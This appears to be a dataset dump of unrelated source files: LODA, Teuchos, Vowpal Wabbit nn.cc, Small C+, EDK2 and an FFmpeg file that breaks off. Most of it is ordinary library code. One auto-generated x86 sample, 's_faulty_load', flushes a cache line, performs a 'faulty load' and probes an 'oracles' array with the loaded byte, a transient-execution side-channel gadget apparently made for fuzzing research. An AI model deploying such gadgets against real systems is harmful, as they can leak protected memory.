text
stringlengths
1
1.05M
; A085781: a(n) = 2*binomial(2*n+1,n+1) - 2^n. ; 1,4,16,62,236,892,3368,12742,48364,184244,704408,2702108,10396504,40108408,155101136,601047622,2333540684,9075004228,35345001656,137846004532,538256825864,2104096866568,8233426533296,32247595294492 mov $3,$0 add $0,1 mov $1,2 mul $1,$0 bin $1,$0 mov $2,2 pow $2,$3 lpb $0 mov $0,1 sub $1,$2 add $1,36 lpe trn $1,37 add $1,1
// @HEADER // *********************************************************************** // // Teuchos: Common Tools Package // Copyright (2004) Sandia Corporation // // Under terms of Contract DE-AC04-94AL85000, there is a non-exclusive // license for use of this work by or on behalf of the U.S. Government. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // 3. Neither the name of the Corporation nor the names of the // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY SANDIA CORPORATION "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SANDIA CORPORATION OR THE // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Questions? Contact Michael A. Heroux (maherou@sandia.gov) // // *********************************************************************** // @HEADER #ifndef TEUCHOS_PARAMETER_LIST_ACCEPTOR_HPP #define TEUCHOS_PARAMETER_LIST_ACCEPTOR_HPP #include "Teuchos_ConfigDefs.hpp" namespace Teuchos { class ParameterList; class DependencySheet; template<class T> class RCP; /** \brief Base class objects that can accept a parameter list. * * ToDo: Finish Documentation! */ class TEUCHOS_LIB_DLL_EXPORT ParameterListAcceptor { public: /** \brief . */ virtual ~ParameterListAcceptor(); //! @name Pure virtual functions that must be overridden in subclasses //@{ /** \brief Set parameters from a parameter list and return with default values. * * \param paramList [in] On input contains the parameters set by the client. * Note that <tt>*paramList</tt> may have parameters set to their * default values added while the list is being parsed either right * away or later. * * <b>Preconditions:</b><ul> * <li><tt>paramList.get() != NULL</tt> * </ul> * * <b>Postconditions:</b><ul> * <li><tt>this->getParameterList().get() == paramList.get()</tt> * </ul> * * This is parameter list is "remembered" by <tt>*this</tt> object until it is * unset using <tt>unsetParameterList()</tt>. * * <b>Note:</b> When this parameter list is passed in it is assumed that the * client has finished setting all of the values that they want to set so * that the list is completely ready to read (and be validated) by * <tt>*this</tt> object. If the client is to change this parameter list by * adding new options or changing the value of current options, the behavior * of <tt>*this</tt> object is undefined. This is because, the object may * read the options from <tt>*paramList</tt> right away or may wait to read * some options until a later time. There should be no expectation that if * an option is changed by the client that this will automatically be * recognized by <tt>*this</tt> object. To change even one parameter, this * function must be called again, with the entire sublist. */ virtual void setParameterList(RCP<ParameterList> const& paramList) = 0; /** \brief Get the parameter list that was set using <tt>setParameterList()</tt>. */ virtual RCP<ParameterList> getNonconstParameterList() = 0; /** \brief Unset the parameter list that was set using <tt>setParameterList()</tt>. * * This just means that the parameter list that was set using * <tt>setParameterList()</tt> is detached from this object. This does not * mean that the effect of the parameters is undone. * * <b>Postconditions:</b><ul> * <li><tt>this->getParameterList().get() == NULL</tt> * </ul> */ virtual RCP<ParameterList> unsetParameterList() = 0; //@} //! @name Virtual functions with default implementation //@{ /** \brief Get const version of the parameter list that was set using <tt>setParameterList()</tt>. * * The default implementation returns: \code return const_cast<ParameterListAcceptor*>(this)->getParameterList(); \endcode */ virtual RCP<const ParameterList> getParameterList() const; /** \brief Return a const parameter list of all of the valid parameters that * <tt>this->setParameterList(...)</tt> will accept. * * The default implementation returns <tt>Teuchos::null</tt>. */ virtual RCP<const ParameterList> getValidParameters() const; /** * \brief Rreturn a const Dependency Sheet of all the * dependencies that should be applied to the parameter * list return by <tt>this->getValidParameters()</tt>. * * The default implementation returns <tt>Teuchos::null</tt>. */ virtual RCP<const DependencySheet> getDependencies() const; //@} }; } // end namespace Teuchos #endif // TEUCHOS_PARAMETER_LIST_ACCEPTOR_HPP
// Copyright (c) by respective owners including Yahoo!, Microsoft, and // individual contributors. All rights reserved. Released under a BSD (revised) // license as described in the file LICENSE. #include <cfloat> #include <cmath> #include <cstdio> #include <sstream> #include <memory> #include "reductions.h" #include "rand48.h" #include "gd.h" #include "vw.h" #include "guard.h" using namespace VW::LEARNER; using namespace VW::config; constexpr float hidden_min_activation = -3; constexpr float hidden_max_activation = 3; constexpr uint64_t nn_constant = 533357803; struct nn { uint32_t k; std::unique_ptr<loss_function> squared_loss; example output_layer; example hiddenbias; example outputweight; float prediction; size_t increment; bool dropout; uint64_t xsubi; uint64_t save_xsubi; bool inpass; bool finished_setup; bool multitask; float* hidden_units; bool* dropped_out; polyprediction* hidden_units_pred; polyprediction* hiddenbias_pred; vw* all; // many things std::shared_ptr<rand_state> _random_state; ~nn() { free(hidden_units); free(dropped_out); free(hidden_units_pred); free(hiddenbias_pred); } }; #define cast_uint32_t static_cast<uint32_t> static inline float fastpow2(float p) { float offset = (p < 0) ? 1.0f : 0.0f; float clipp = (p < -126) ? -126.0f : p; int w = (int)clipp; float z = clipp - w + offset; union { uint32_t i; float f; } v = {cast_uint32_t((1 << 23) * (clipp + 121.2740575f + 27.7280233f / (4.84252568f - z) - 1.49012907f * z))}; return v.f; } static inline float fastexp(float p) { return fastpow2(1.442695040f * p); } static inline float fasttanh(float p) { return -1.0f + 2.0f / (1.0f + fastexp(-2.0f * p)); } void finish_setup(nn& n, vw& all) { // TODO: output_layer audit n.output_layer.interactions = &all.interactions; n.output_layer.indices.push_back(nn_output_namespace); uint64_t nn_index = nn_constant << all.weights.stride_shift(); features& fs = n.output_layer.feature_space[nn_output_namespace]; for (unsigned int i = 0; i < n.k; ++i) { fs.push_back(1., nn_index); if (all.audit || all.hash_inv) { std::stringstream ss; ss << "OutputLayer" << i; fs.space_names.push_back(audit_strings_ptr(new audit_strings("", ss.str()))); } nn_index += (uint64_t)n.increment; } n.output_layer.num_features += n.k; if (!n.inpass) { fs.push_back(1., nn_index); if (all.audit || all.hash_inv) fs.space_names.push_back(audit_strings_ptr(new audit_strings("", "OutputLayerConst"))); ++n.output_layer.num_features; } // TODO: not correct if --noconstant n.hiddenbias.interactions = &all.interactions; n.hiddenbias.indices.push_back(constant_namespace); n.hiddenbias.feature_space[constant_namespace].push_back(1, (uint64_t)constant); if (all.audit || all.hash_inv) n.hiddenbias.feature_space[constant_namespace].space_names.push_back( audit_strings_ptr(new audit_strings("", "HiddenBias"))); n.hiddenbias.total_sum_feat_sq++; n.hiddenbias.l.simple.label = FLT_MAX; n.hiddenbias.weight = 1; n.outputweight.interactions = &all.interactions; n.outputweight.indices.push_back(nn_output_namespace); features& outfs = n.output_layer.feature_space[nn_output_namespace]; n.outputweight.feature_space[nn_output_namespace].push_back(outfs.values[0], outfs.indicies[0]); if (all.audit || all.hash_inv) n.outputweight.feature_space[nn_output_namespace].space_names.push_back( audit_strings_ptr(new audit_strings("", "OutputWeight"))); n.outputweight.feature_space[nn_output_namespace].values[0] = 1; n.outputweight.total_sum_feat_sq++; n.outputweight.l.simple.label = FLT_MAX; n.outputweight.weight = 1; n.finished_setup = true; } void end_pass(nn& n) { if (n.all->bfgs) n.xsubi = n.save_xsubi; } template <bool is_learn, bool recompute_hidden> void predict_or_learn_multi(nn& n, single_learner& base, example& ec) { bool shouldOutput = n.all->raw_prediction != nullptr; if (!n.finished_setup) finish_setup(n, *(n.all)); shared_data sd; memcpy(&sd, n.all->sd, sizeof(shared_data)); { // guard for all.sd as it is modified - this will restore the state at the end of the scope. auto swap_guard = VW::swap_guard(n.all->sd, &sd); label_data ld = ec.l.simple; void (*save_set_minmax)(shared_data*, float) = n.all->set_minmax; float save_min_label; float save_max_label; float dropscale = n.dropout ? 2.0f : 1.0f; auto loss_function_swap_guard = VW::swap_guard(n.all->loss, n.squared_loss); polyprediction* hidden_units = n.hidden_units_pred; polyprediction* hiddenbias_pred = n.hiddenbias_pred; bool* dropped_out = n.dropped_out; std::ostringstream outputStringStream; n.all->set_minmax = noop_mm; save_min_label = n.all->sd->min_label; n.all->sd->min_label = hidden_min_activation; save_max_label = n.all->sd->max_label; n.all->sd->max_label = hidden_max_activation; uint64_t save_ft_offset = ec.ft_offset; if (n.multitask) ec.ft_offset = 0; n.hiddenbias.ft_offset = ec.ft_offset; if (recompute_hidden) { base.multipredict(n.hiddenbias, 0, n.k, hiddenbias_pred, true); for (unsigned int i = 0; i < n.k; ++i) // avoid saddle point at 0 if (hiddenbias_pred[i].scalar == 0) { n.hiddenbias.l.simple.label = (float)(n._random_state->get_and_update_random() - 0.5); base.learn(n.hiddenbias, i); n.hiddenbias.l.simple.label = FLT_MAX; } base.multipredict(ec, 0, n.k, hidden_units, true); for (unsigned int i = 0; i < n.k; ++i) dropped_out[i] = (n.dropout && merand48(n.xsubi) < 0.5); if (ec.passthrough) for (unsigned int i = 0; i < n.k; ++i) { add_passthrough_feature(ec, i * 2, hiddenbias_pred[i].scalar); add_passthrough_feature(ec, i * 2 + 1, hidden_units[i].scalar); } } if (shouldOutput) for (unsigned int i = 0; i < n.k; ++i) { if (i > 0) outputStringStream << ' '; outputStringStream << i << ':' << hidden_units[i].scalar << ',' << fasttanh(hidden_units[i].scalar); // TODO: huh, what was going on here? } loss_function_swap_guard.do_swap(); n.all->set_minmax = save_set_minmax; n.all->sd->min_label = save_min_label; n.all->sd->max_label = save_max_label; ec.ft_offset = save_ft_offset; bool converse = false; float save_partial_prediction = 0; float save_final_prediction = 0; float save_ec_loss = 0; CONVERSE: // That's right, I'm using goto. So sue me. n.output_layer.total_sum_feat_sq = 1; n.output_layer.feature_space[nn_output_namespace].sum_feat_sq = 1; n.outputweight.ft_offset = ec.ft_offset; n.all->set_minmax = noop_mm; auto loss_function_swap_guard_converse_block = VW::swap_guard(n.all->loss, n.squared_loss); save_min_label = n.all->sd->min_label; n.all->sd->min_label = -1; save_max_label = n.all->sd->max_label; n.all->sd->max_label = 1; for (unsigned int i = 0; i < n.k; ++i) { float sigmah = (dropped_out[i]) ? 0.0f : dropscale * fasttanh(hidden_units[i].scalar); features& out_fs = n.output_layer.feature_space[nn_output_namespace]; out_fs.values[i] = sigmah; n.output_layer.total_sum_feat_sq += sigmah * sigmah; out_fs.sum_feat_sq += sigmah * sigmah; n.outputweight.feature_space[nn_output_namespace].indicies[0] = out_fs.indicies[i]; base.predict(n.outputweight, n.k); float wf = n.outputweight.pred.scalar; // avoid saddle point at 0 if (wf == 0) { float sqrtk = std::sqrt((float)n.k); n.outputweight.l.simple.label = (float)(n._random_state->get_and_update_random() - 0.5) / sqrtk; base.update(n.outputweight, n.k); n.outputweight.l.simple.label = FLT_MAX; } } loss_function_swap_guard_converse_block.do_swap(); n.all->set_minmax = save_set_minmax; n.all->sd->min_label = save_min_label; n.all->sd->max_label = save_max_label; if (n.inpass) { // TODO: this is not correct if there is something in the // nn_output_namespace but at least it will not leak memory // in that case ec.indices.push_back(nn_output_namespace); /* * Features shuffling: * save_nn_output_namespace contains what was in ec.feature_space[] * ec.feature_space[] contains a COPY of n.output_layer.feature_space[] * learn/predict is called * ec.feature_space[] is reverted to its original value * save_nn_output_namespace contains the COPIED value * save_nn_output_namespace is destroyed */ features save_nn_output_namespace = std::move(ec.feature_space[nn_output_namespace]); auto tmp_sum_feat_sq = n.output_layer.feature_space[nn_output_namespace].sum_feat_sq; ec.feature_space[nn_output_namespace].deep_copy_from(n.output_layer.feature_space[nn_output_namespace]); ec.total_sum_feat_sq += tmp_sum_feat_sq; if (is_learn) base.learn(ec, n.k); else base.predict(ec, n.k); n.output_layer.partial_prediction = ec.partial_prediction; n.output_layer.loss = ec.loss; ec.total_sum_feat_sq -= tmp_sum_feat_sq; ec.feature_space[nn_output_namespace].sum_feat_sq = 0; std::swap(ec.feature_space[nn_output_namespace], save_nn_output_namespace); ec.indices.pop_back(); } else { n.output_layer.ft_offset = ec.ft_offset; n.output_layer.l.simple = ec.l.simple; n.output_layer.weight = ec.weight; n.output_layer.partial_prediction = 0; if (is_learn) base.learn(n.output_layer, n.k); else base.predict(n.output_layer, n.k); } n.prediction = GD::finalize_prediction(n.all->sd, n.all->logger, n.output_layer.partial_prediction); if (shouldOutput) { outputStringStream << ' ' << n.output_layer.partial_prediction; n.all->print_text_by_ref(n.all->raw_prediction.get(), outputStringStream.str(), ec.tag); } if (is_learn) { if (n.all->training && ld.label != FLT_MAX) { float gradient = n.all->loss->first_derivative(n.all->sd, n.prediction, ld.label); if (fabs(gradient) > 0) { auto loss_function_swap_guard_learn_block = VW::swap_guard(n.all->loss, n.squared_loss); n.all->set_minmax = noop_mm; save_min_label = n.all->sd->min_label; n.all->sd->min_label = hidden_min_activation; save_max_label = n.all->sd->max_label; n.all->sd->max_label = hidden_max_activation; save_ft_offset = ec.ft_offset; if (n.multitask) ec.ft_offset = 0; for (unsigned int i = 0; i < n.k; ++i) { if (!dropped_out[i]) { float sigmah = n.output_layer.feature_space[nn_output_namespace].values[i] / dropscale; float sigmahprime = dropscale * (1.0f - sigmah * sigmah); n.outputweight.feature_space[nn_output_namespace].indicies[0] = n.output_layer.feature_space[nn_output_namespace].indicies[i]; base.predict(n.outputweight, n.k); float nu = n.outputweight.pred.scalar; float gradhw = 0.5f * nu * gradient * sigmahprime; ec.l.simple.label = GD::finalize_prediction(n.all->sd, n.all->logger, hidden_units[i].scalar - gradhw); ec.pred.scalar = hidden_units[i].scalar; if (ec.l.simple.label != hidden_units[i].scalar) base.update(ec, i); } } loss_function_swap_guard_learn_block.do_swap(); n.all->set_minmax = save_set_minmax; n.all->sd->min_label = save_min_label; n.all->sd->max_label = save_max_label; ec.ft_offset = save_ft_offset; } } } ec.l.simple.label = ld.label; if (!converse) { save_partial_prediction = n.output_layer.partial_prediction; save_final_prediction = n.prediction; save_ec_loss = n.output_layer.loss; } if (n.dropout && !converse) { for (unsigned int i = 0; i < n.k; ++i) { dropped_out[i] = !dropped_out[i]; } converse = true; goto CONVERSE; } ec.partial_prediction = save_partial_prediction; ec.pred.scalar = save_final_prediction; ec.loss = save_ec_loss; } n.all->set_minmax(n.all->sd, sd.min_label); n.all->set_minmax(n.all->sd, sd.max_label); } void multipredict(nn& n, single_learner& base, example& ec, size_t count, size_t step, polyprediction* pred, bool finalize_predictions) { for (size_t c = 0; c < count; c++) { if (c == 0) predict_or_learn_multi<false, true>(n, base, ec); else predict_or_learn_multi<false, false>(n, base, ec); if (finalize_predictions) pred[c] = std::move(ec.pred); // TODO: this breaks for complex labels because = doesn't do deep copy! (XXX we // "fix" this by moving) else pred[c].scalar = ec.partial_prediction; ec.ft_offset += (uint64_t)step; } ec.ft_offset -= (uint64_t)(step * count); } void finish_example(vw& all, nn&, example& ec) { std::unique_ptr<VW::io::writer> temp(nullptr); auto raw_prediction_guard = VW::swap_guard(all.raw_prediction, temp); return_simple_example(all, nullptr, ec); } base_learner* nn_setup(options_i& options, vw& all) { auto n = scoped_calloc_or_throw<nn>(); bool meanfield = false; option_group_definition new_options("Neural Network"); new_options .add(make_option("nn", n->k).keep().necessary().help("Sigmoidal feedforward network with <k> hidden units")) .add(make_option("inpass", n->inpass) .keep() .help("Train or test sigmoidal feedforward network with input passthrough.")) .add(make_option("multitask", n->multitask).keep().help("Share hidden layer across all reduced tasks.")) .add(make_option("dropout", n->dropout).keep().help("Train or test sigmoidal feedforward network using dropout.")) .add(make_option("meanfield", meanfield).help("Train or test sigmoidal feedforward network using mean field.")); if (!options.add_parse_and_check_necessary(new_options)) return nullptr; n->all = &all; n->_random_state = all.get_random_state(); if (n->multitask && !all.logger.quiet) std::cerr << "using multitask sharing for neural network " << (all.training ? "training" : "testing") << std::endl; if (options.was_supplied("meanfield")) { n->dropout = false; if (!all.logger.quiet) std::cerr << "using mean field for neural network " << (all.training ? "training" : "testing") << std::endl; } if (n->dropout && !all.logger.quiet) std::cerr << "using dropout for neural network " << (all.training ? "training" : "testing") << std::endl; if (n->inpass && !all.logger.quiet) std::cerr << "using input passthrough for neural network " << (all.training ? "training" : "testing") << std::endl; n->finished_setup = false; n->squared_loss = getLossFunction(all, "squared", 0); n->xsubi = all.random_seed; n->save_xsubi = n->xsubi; n->hidden_units = calloc_or_throw<float>(n->k); n->dropped_out = calloc_or_throw<bool>(n->k); n->hidden_units_pred = calloc_or_throw<polyprediction>(n->k); n->hiddenbias_pred = calloc_or_throw<polyprediction>(n->k); auto base = as_singleline(setup_base(options, all)); n->increment = base->increment; // Indexing of output layer is odd. nn& nv = *n.get(); learner<nn, example>& l = init_learner(n, base, predict_or_learn_multi<true, true>, predict_or_learn_multi<false, true>, n->k + 1, all.get_setupfn_name(nn_setup)); if (nv.multitask) l.set_multipredict(multipredict); l.set_finish_example(finish_example); l.set_end_pass(end_pass); return make_base(l); } /* train: ./vw -k -c -d mnist8v9.gz --passes 24 -b 25 --nn 64 -l 0.1 --invariant --adaptive --holdout_off --random_seed 19 --nnmultipredict -f mnist64 predict: ./vw -t -d mnist8v9.gz -i mnist64 --nnmultipredict default multipredict nn 64 train 9.1s 8.1s predict 0.57s 0.52s nn 128 train 16.5s 13.8s predict 0.76s 0.69s with oaa: train: ./vw --oaa 10 -b 25 --adaptive --invariant --holdout_off -l 0.1 --nn 64 --passes 24 -k -c -d mnist-all.gz --random_seed 19 --nnmultipredict -f mnist-all64 predict: ./vw -t -d mnist-all.gz -i mnist-all64 --nnmultipredict */
; Small C+ Math Library ; More polynomial evaluation SECTION code_fp PUBLIC poly EXTERN pushfa EXTERN ldbchl EXTERN fadd EXTERN fmul EXTERN dload ; .poly CALL pushfa LD A,(HL) INC HL CALL dload DEFB $FE ;"ignore next byte" .POL3 POP AF POP BC POP IX POP DE DEC A RET Z PUSH DE PUSH IX PUSH BC PUSH AF PUSH HL CALL fmul POP HL CALL ldbchl PUSH HL CALL fadd POP HL JR POL3 ;
.global s_prepare_buffers s_prepare_buffers: push %r9 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x4139, %rbp nop nop nop and $2047, %r9 mov $0x6162636465666768, %rbx movq %rbx, %xmm4 movups %xmm4, (%rbp) nop inc %rdx lea addresses_WT_ht+0x119ae, %rsi lea addresses_D_ht+0x19139, %rdi nop nop nop nop sub $8174, %rbx mov $34, %rcx rep movsb nop nop nop nop nop sub %rdx, %rdx lea addresses_normal_ht+0xd139, %rbp nop nop xor %r9, %r9 mov (%rbp), %rcx nop nop nop add $63526, %rbp lea addresses_WT_ht+0x17539, %rcx nop nop lfence movb (%rcx), %bl nop nop nop nop and $20222, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r8 push %rax push %rbp // Store lea addresses_PSE+0x1f2b9, %rbp cmp %r13, %r13 mov $0x5152535455565758, %r10 movq %r10, (%rbp) mfence // Store lea addresses_WC+0x69f9, %r8 cmp %rax, %rax mov $0x5152535455565758, %r13 movq %r13, (%r8) nop nop nop nop cmp %rax, %rax // Load lea addresses_US+0x6939, %r12 sub $35874, %rbp movups (%r12), %xmm4 vpextrq $1, %xmm4, %r8 nop nop nop nop nop sub $12476, %rax // Load lea addresses_PSE+0x1939, %r11 clflush (%r11) nop nop nop xor %rax, %rax vmovups (%r11), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r12 xor %r12, %r12 // Faulty Load lea addresses_PSE+0x1939, %rax clflush (%rax) nop nop nop nop and $60320, %r13 movaps (%rax), %xmm2 vpextrq $1, %xmm2, %r11 lea oracles, %rax and $0xff, %r11 shlq $12, %r11 mov (%rax,%r11,1), %r11 pop %rbp pop %rax pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'00': 4, '49': 140} 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 */
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; SetMem.nasm ; ; Abstract: ; ; SetMem function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; VOID * ; EFIAPI ; InternalMemSetMem ( ; IN VOID *Buffer, ; IN UINTN Count, ; IN UINT8 Value ; ) ;------------------------------------------------------------------------------ global ASM_PFX(InternalMemSetMem) ASM_PFX(InternalMemSetMem): push edi mov al, [esp + 16] mov ah, al shrd edx, eax, 16 shld eax, edx, 16 mov ecx, [esp + 12] ; ecx <- Count mov edi, [esp + 8] ; edi <- Buffer mov edx, ecx and edx, 7 shr ecx, 3 ; # of Qwords to set jz @SetBytes add esp, -0x10 movq [esp], mm0 ; save mm0 movq [esp + 8], mm1 ; save mm1 movd mm0, eax movd mm1, eax psllq mm0, 32 por mm0, mm1 ; fill mm0 with 8 Value's .0: movq [edi], mm0 add edi, 8 loop .0 movq mm0, [esp] ; restore mm0 movq mm1, [esp + 8] ; restore mm1 add esp, 0x10 ; stack cleanup @SetBytes: mov ecx, edx rep stosb mov eax, [esp + 8] ; eax <- Buffer as return value pop edi ret
;***************************************************************************** ;* x86-optimized Float DSP functions ;* ;* Copyright 2006 Loren Merritt ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "x86util.asm" SECTION .text ;----------------------------------------------------------------------------- ; void vector_fmul(float *dst, const float *src0, const float *src1, int len) ;----------------------------------------------------------------------------- %macro VECTOR_FMUL 0 cglobal vector_fmul, 4,4,2, dst, src0, src1, len lea lenq, [lend*4 - 64] ALIGN 16 .loop: %assign a 0 %rep 32/mmsize mova m0, [src0q + lenq + (a+0)*mmsize] mova m1, [src0q + lenq + (a+1)*mmsize] mulps m0, m0, [src1q + lenq + (a+0)*mmsize] mulps m1, m1, [src1q + lenq + (a+1)*mmsize] mova [dstq + lenq + (a+0)*mmsize], m0 mova [dstq + lenq + (a+1)*mmsize], m1 %assign a a+2 %endrep sub lenq, 64 jge .loop REP_RET %endmacro INIT_XMM sse VECTOR_FMUL %if HAVE_AVX_EXTERNAL INIT_YMM avx VECTOR_FMUL %endif ;------------------------------------------------------------------------------ ; void ff_vector_fmac_scalar(float *dst, const float *src, float mul, int len) ;------------------------------------------------------------------------------ %macro VECTOR_FMAC_SCALAR 0 %if UNIX64 cglobal vector_fmac_scalar, 3,3,3, dst, src, len %else cglobal vector_fmac_scalar, 4,4,3, dst, src, mul, len %endif %if ARCH_X86_32 VBROADCASTSS m0, mulm %else %if WIN64 mova xmm0, xmm2 %endif shufps xmm0, xmm0, 0 %if cpuflag(avx) vinsertf128 m0, m0, xmm0, 1 %endif %endif lea lenq, [lend*4-64] .loop: %assign a 0 %rep 32/mmsize mulps m1, m0, [srcq+lenq+(a+0)*mmsize] mulps m2, m0, [srcq+lenq+(a+1)*mmsize] addps m1, m1, [dstq+lenq+(a+0)*mmsize] addps m2, m2, [dstq+lenq+(a+1)*mmsize] mova [dstq+lenq+(a+0)*mmsize], m1 mova [dstq+lenq+(a+1)*mmsize], m2 %assign a a+2 %endrep sub lenq, 64 jge .loop REP_RET %endmacro INIT_XMM sse VECTOR_FMAC_SCALAR %if HAVE_AVX_EXTERNAL INIT_YMM avx VECTOR_FMAC_SCALAR %endif ;------------------------------------------------------------------------------ ; void ff_vector_fmul_scalar(float *dst, const float *src, float mul, int len) ;------------------------------------------------------------------------------ %macro VECTOR_FMUL_SCALAR 0 %if UNIX64 cglobal vector_fmul_scalar, 3,3,2, dst, src, len %else cglobal vector_fmul_scalar, 4,4,3, dst, src, mul, len %endif %if ARCH_X86_32 movss m0, mulm %elif WIN64 SWAP 0, 2 %endif shufps m0, m0, 0 lea lenq, [lend*4-mmsize] .loop: mova m1, [srcq+lenq] mulps m1, m0 mova [dstq+lenq], m1 sub lenq, mmsize jge .loop REP_RET %endmacro INIT_XMM sse VECTOR_FMUL_SCALAR ;------------------------------------------------------------------------------ ; void ff_vector_dmul_scalar(double *dst, const double *src, double mul, ; int len) ;------------------------------------------------------------------------------ %macro VECTOR_DMUL_SCALAR 0 %if ARCH_X86_32 cglobal vector_dmul_scalar, 3,4,3, dst, src, mul, len, lenaddr mov lenq, lenaddrm %elif UNIX64 cglobal vector_dmul_scalar, 3,3,3, dst, src, len %else cglobal vector_dmul_scalar, 4,4,3, dst, src, mul, len %endif %if ARCH_X86_32 VBROADCASTSD m0, mulm %else %if WIN64 movlhps xmm2, xmm2 %if cpuflag(avx) vinsertf128 ymm2, ymm2, xmm2, 1 %endif SWAP 0, 2 %else movlhps xmm0, xmm0 %if cpuflag(avx) vinsertf128 ymm0, ymm0, xmm0, 1 %endif %endif %endif lea lenq, [lend*8-2*mmsize] .loop: mulpd m1, m0, [srcq+lenq ] mulpd m2, m0, [srcq+lenq+mmsize] mova [dstq+lenq ], m1 mova [dstq+lenq+mmsize], m2 sub lenq, 2*mmsize jge .loop REP_RET %endmacro INIT_XMM sse2 VECTOR_DMUL_SCALAR %if HAVE_AVX_EXTERNAL INIT_YMM avx VECTOR_DMUL_SCALAR %endif ;----------------------------------------------------------------------------- ; vector_fmul_add(float *dst, const float *src0, const float *src1, ; const float *src2, int len) ;----------------------------------------------------------------------------- %macro VECTOR_FMUL_ADD 0 cglobal vector_fmul_add, 5,5,2, dst, src0, src1, src2, len lea lenq, [lend*4 - 2*mmsize] ALIGN 16 .loop: mova m0, [src0q + lenq] mova m1, [src0q + lenq + mmsize] mulps m0, m0, [src1q + lenq] mulps m1, m1, [src1q + lenq + mmsize] addps m0, m0, [src2q + lenq] addps m1, m1, [src2q + lenq + mmsize] mova [dstq + lenq], m0 mova [dstq + lenq + mmsize], m1 sub lenq, 2*mmsize jge .loop REP_RET %endmacro INIT_XMM sse VECTOR_FMUL_ADD %if HAVE_AVX_EXTERNAL INIT_YMM avx VECTOR_FMUL_ADD %endif ;----------------------------------------------------------------------------- ; void vector_fmul_reverse(float *dst, const float *src0, const float *src1, ; int len) ;----------------------------------------------------------------------------- %macro VECTOR_FMUL_REVERSE 0 cglobal vector_fmul_reverse, 4,4,2, dst, src0, src1, len lea lenq, [lend*4 - 2*mmsize] ALIGN 16 .loop: %if cpuflag(avx) vmovaps xmm0, [src1q + 16] vinsertf128 m0, m0, [src1q], 1 vshufps m0, m0, m0, q0123 vmovaps xmm1, [src1q + mmsize + 16] 